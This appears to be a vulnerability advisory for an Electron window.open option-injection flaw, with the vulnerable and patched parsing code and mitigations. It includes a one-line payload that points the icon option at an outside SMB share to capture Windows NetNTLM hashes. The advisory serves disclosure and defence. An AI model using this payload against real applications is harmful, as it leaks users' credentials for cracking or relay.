CVE-2026-70607: Privileged Option Injection in Electron window.open Features

Electron utilizes a multi-process architecture to isolate host-level operations from raw client-side presentation. The main process executes with node-level host permissions, whereas the renderer processes run client-side code with constrained privileges. When client-side JavaScript calls the web-native window.open API, Electron routes this request to the main process to construct a new window interface.

Client applications utilize the optional features string within window.open to communicate layout preferences, such as window dimensions or positioning. In affected versions of the Electron framework, the component responsible for parsing these features fails to validate the key-value pairs. This permits client-supplied arguments to directly configure privileged properties within the underlying BrowserWindow constructor.

This flaw is categorized under CWE-20 (Improper Input Validation). The vulnerability allows a compromised renderer or an untrusted external web page to execute unexpected operations on the host system. By passing unvalidated parameters through the IPC bridge, attackers can bypass security boundaries and trigger unexpected filesystem or network access.

The parsing process for the features parameter is located within lib/browser/parse-features-string.ts in the parseFeatures utility function. This utility processes comma-separated values provided by the client execution context and converts them into an object dictionary. The primary coding mistake resides in casting this raw parsed object directly to the BrowserWindowConstructorOptions type using TypeScript's type assertion operator.

TypeScript type assertions provide no runtime enforcement or verification, meaning the generated JavaScript code passes the dictionary straight to the BrowserWindow constructor without sanitization. Any key supplied inside the features string is preserved and forwarded to the instantiation routine running in the main process.

An attacker can exploit this lack of validation by targeting the icon property, which accepts a local path or URI pointing to an image file. On Windows operating systems, supplying a Universal Naming Convention (UNC) path to this property directs the local SMB client to load the icon from an external server.

When the main process handles the path, the Windows kernel attempts to retrieve the image using the Server Message Block (SMB) protocol. During this connection, Windows transmits a NetNTLM challenge-response handshake to the external server, disclosing the system user's cryptographic NetNTLM authentication hash.

The patch resolved this vulnerability by changing the configuration process from an implicit trust model to a strict positive allowlist. Below is the code from the parsing utility prior to the remediation:

// VULNERABLE CODE PATH
return {
  options: parsed as Omit<BrowserWindowConstructorOptions, 'webPreferences'>,
  webPreferences
};

In this configuration, the type assertion does not execute runtime filtering, allowing unvalidated parameters to reach the main process. The fix in commit 30cf3882de75ee651bd4e5f27002f13fd3d3163a introduces a strict Set called allowedWindowOptions and sanitizes the parsed dictionary prior to casting:

// PATCHED IMPLEMENTATION (Commit: 30cf3882de75ee651bd4e5f27002f13fd3d3163a)
const allowedWindowOptions = new Set<string>([
  'top', 'left', 'innerWidth', 'innerHeight',
  'x', 'y', 'width', 'height',
  'minWidth', 'minHeight', 'maxWidth', 'maxHeight', 'opacity',
  'show', 'center', 'useContentSize', 'frame', 'transparent', 'hasShadow',
  'movable', 'closable', 'focusable', 'minimizable', 'maximizable',
  'fullscreenable', 'alwaysOnTop', 'skipTaskbar', 'modal', 'acceptFirstMouse',
  'autoHideMenuBar', 'enableLargerThanScreen', 'paintWhenInitiallyHidden',
  'roundedCorners', 'thickFrame', 'disableAutoHideCursor', 'hiddenInMissionControl',
  'title', 'backgroundColor', 'tabbingIdentifier', 'titleBarStyle', 'vibrancy',
  'visualEffectState', 'backgroundMaterial'
]);
 
// Sanitization filter inside parseFeatures
const options: { [key: string]: CoercedValue } = {};
for (const key of Object.keys(parsed)) {
  if (allowedWindowOptions.has(key)) {
    options[key] = parsed[key];
  }
}
 
return {
  options: options as Omit<BrowserWindowConstructorOptions, 'webPreferences'>,
  webPreferences
};

Because the icon parameter is not in the allowedWindowOptions Set, any client request specifying this property is ignored. This resolves the vulnerability by ensuring that only safe presentation properties can be modified via the renderer features string.

To trigger the vulnerability, an attacker must have the ability to execute client-side JavaScript within the Electron renderer process. This can be achieved through cross-site scripting (XSS), an open redirect, or by the application loading an external, untrusted web page. The target application must also lack explicit window creation handlers that override client configuration options.

The exploit payload is delivered by invoking window.open with a features string containing the injected icon option mapping to an external SMB share. The following payload demonstrates this configuration:

window.open('about:blank', '_blank', 'icon=\\192.168.1.100\harvest\image.png,show=no');

When the main process receives the payload, the Windows OS initiates a connection to the external IP address to resolve the file. The attacker captures the resulting NetNTLM challenge-response transaction using an SMB authentication handler.

The primary outcome of exploiting CVE-2026-70607 is the exposure of the Windows system user's NetNTLM credential hash. Attackers can process this captured hash offline using password cracking tools to obtain the plaintext credentials. In environments with weak network policies, the hash can also be relayed to access other corporate systems.

In addition, this vulnerability permits the manipulation of parent-child relationships and window properties. By altering parameters like parent, an attacker can impact application stability, bypass sandboxing constraints, or disrupt user interactions.

Although the CVSS score is 5.3 (Medium), the real-world risk in enterprise settings is elevated. Because SMB traffic is frequently allowed to leave corporate networks or traverse internal subnets, this vector provides a silent method for lateral movement or domain credential harvesting.

To resolve this vulnerability, developers must upgrade the Electron framework to a patched version. Safe releases containing the parameter filter are 39.8.8, 40.9.0, 41.2.1, and 42.0.0-beta.3.

If upgrading the framework is not immediately possible, you can mitigate the vulnerability by defining a custom window handler in the main process. This is done by registering the setWindowOpenHandler callback on all webContents instances:

// Implement sanitization via setWindowOpenHandler
mainWindow.webContents.setWindowOpenHandler(({ url }) => {
  return {
    action: 'allow',
    overrideBrowserWindowOptions: {
      // Explicitly define parameters to safe values, overriding renderer requests
      icon: path.join(__dirname, 'assets', 'app-icon.png'),
      show: true
    }
  };
});

Overriding the browser options inside the handler takes precedence over the renderer features string, neutralizing any input passed from window.open. Restricting the application's ability to execute external scripts via a strict Content Security Policy (CSP) also helps prevent the execution of the initial exploit payload.